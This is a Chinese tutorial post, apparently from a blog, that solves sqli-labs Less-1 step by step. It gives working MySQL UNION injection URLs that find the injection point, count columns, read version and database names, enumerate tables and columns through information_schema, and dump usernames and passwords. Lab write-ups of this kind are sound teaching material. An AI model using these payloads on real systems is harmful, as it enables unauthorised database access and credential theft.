sql注入之简要注入
#mysql简要注入流程
mysql注入简要流程如下图:
由于还没学习完先结合sqlilabs的第一关讲解信息收集的一部分和数据注入的information_schema的有据查询。
#sqli-labs之Less-1
1.判断是否有注入点
老方法:
and 1=1 页面正常
and 1=2 页面错误
说明可能存在注入点
最舒服的方法:
参数后面随便输入,被解析但未出现404可能存在注入。
若出现404页面说明没有注入点。
http://127.0.0.1/sqli-labs/Less-1/?id=1 --+
页面正常:
参数后面随便输:http://127.0.0.1/sqli-labs/Less-1/?id=1323424 --+
被解析,未报错,说明存在注入点
2.判断注入
猜解列名数量(字段数):order by x(为可变变量) 找出错误与正确的临界值
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+
由上图可知字段数为3。
3.报错猜解准备
?id=-1' union select 1,2,3 --+
由图可知,2,3位置可进行回显。
4.信息收集
数据库版本:version()
数据库用户:user()
数据库名字:database()
操作系统:@@version_compile_os
数据库版本及数据库用户:
数据库名字及操作系统:
5.查询指定数据库的表名信息
必要知识点:
在mysql5.0及以上版本中mysql存在自带的数据库名information_schema,它是一个存记录有所有数据名、表名、列名的数据库。也就相当于可以查询它获取指定数据库下的表名列名信息。
数据库中符号“.”代表下一级,如a.b表示数据库a下的b表。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库名
table_name:表名
column_name:列名
查询security数据库下的表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
所有表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
可知有4张表分别是:emails,referers,uagents,users
6.查询指定表名下的列名信息
由上可推测用户信息可能在users表中
查询users表下的列名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
可知users表中的字段为username和password
7.查询指定数据
查询users表中的数据:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+
猜解多个数据可使用limit x,1(变动猜解)
可知一共有13条数据
sql注入之简要注入的更多相关文章
- 十二:SQL注入之简要注入
SQL注入漏洞将是重点漏洞,分为数据库类型,提交方法,数据类型等方式.此类漏洞是WEB漏洞中的核心漏洞,学习如何的利用,挖掘,和修复是重要的. SQL注入的危害 SQL注入的原理 可控变量,带入数据库 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- sql工具和手工注入总结
普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...
- StringEscapeUtils的常用使用,防止SQL注入及XSS注入
StringEscapeUtils的常用使用,防止SQL注入及XSS注入 2017年10月20日 11:29:44 小狮王 阅读数:8974 版权声明:本文为博主原创文章,转载请注明出处. htt ...
- 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文
目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...
- SQL注入:POST注入
POST注入简介 POST注入属于注入的一种,相信大家在之前的课程中都知道POST\GET两种传参方式. POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别. POST注入高危 ...
- Go语言SQL注入和防注入
Go语言SQL注入和防注入 一.SQL注入是什么 SQL注入是一种注入攻击手段,通过执行恶意SQL语句,进而将任意SQL代码插入数据库查询,从而使攻击者完全控制Web应用程序后台的数据库服务器.攻击者 ...
- 基础Web漏洞-SQL注入入门(手工注入篇)
一.什么是SQL注入 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...
- SQL注入之堆叠注入(堆查询注入)
Stached injection -- 堆叠注入 0x00 堆叠注入的定义 Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...
随机推荐
- 《PHP程序员面试笔试宝典》——如何进行自我介绍?
本文摘自<PHP程序员面试笔试宝典> PHP面试技巧分享,PHP面试题,PHP宝典尽在"琉忆编程库". 自我介绍是面试中至关重要的一个步骤,很多面试官对求职者提出的第一 ...
- v-model的修饰符
.lazy 就是在用户输入时数据不会进行传输,在失去焦点后或者按回车,才会将数据将进行改变 .number 因为v-model所绑定的数据,都会默认转换为string类型,而.number就能将数据转 ...
- SpringBoot 配置Druid数据库连接池
创建数据库连接池配置类 package com.boot.config; import com.alibaba.druid.pool.DruidDataSource; import com.aliba ...
- jenkins发布代码选择不同分支
jenkins上传代码分支以前都是用变量的方式,手动实现.过程就像这样 构建时候的界面就像下面这样,需要手动输入分支版本. 或者有固定的上线分支,用参数化构建 选项参数 来选择.总之这些方法比较传统, ...
- scrapy爬取《坏蛋是怎样练成的4》
scrapy具体介绍就不用说了,自己百度一下.或者参考以下文档 https://blog.csdn.net/u011054333/article/details/70165401 直接在cmd里运行 ...
- 360携手HarmonyOS打造独特的“天气大师”
做创新,首先要找到有增长趋势的流量红利,对我们来说,HarmonyOS就是绝佳的合作伙伴. --申悦 360手机助手创研产品部负责人 一.我们是谁? 我们来自360,是一支致力于孵化新业务的内部创新小 ...
- Html简单标签
学习html <h1> 标题标签</h1> 标题标签 <p>段落标签</p> 段落标签 换行标签</br> 换行标签 水平线标签</h ...
- 『无为则无心』Python日志 — 66、将日志信息保存到文件中
目录 1.把日志信息保存到文件中 2.拓展 (1)观察代码 (2)提出问题 (3)问题说明 1.把日志信息保存到文件中 代码如下所示: """ logging模块是Pyt ...
- idea教程--Maven 骨架介绍
简单的说,Archetype是Maven工程的模板工具包.一个Archetype定义了要做的相同类型事情的初始样式或模型.这个名称给我们提供来了一个一致的生成Maven工程的方式.Archetype会 ...
- 小程序根据ID跳转到不同的分页
想实现效果: 点击后跳转 wxml: <view class="fiveson"> <view class="fiveson-son&q ...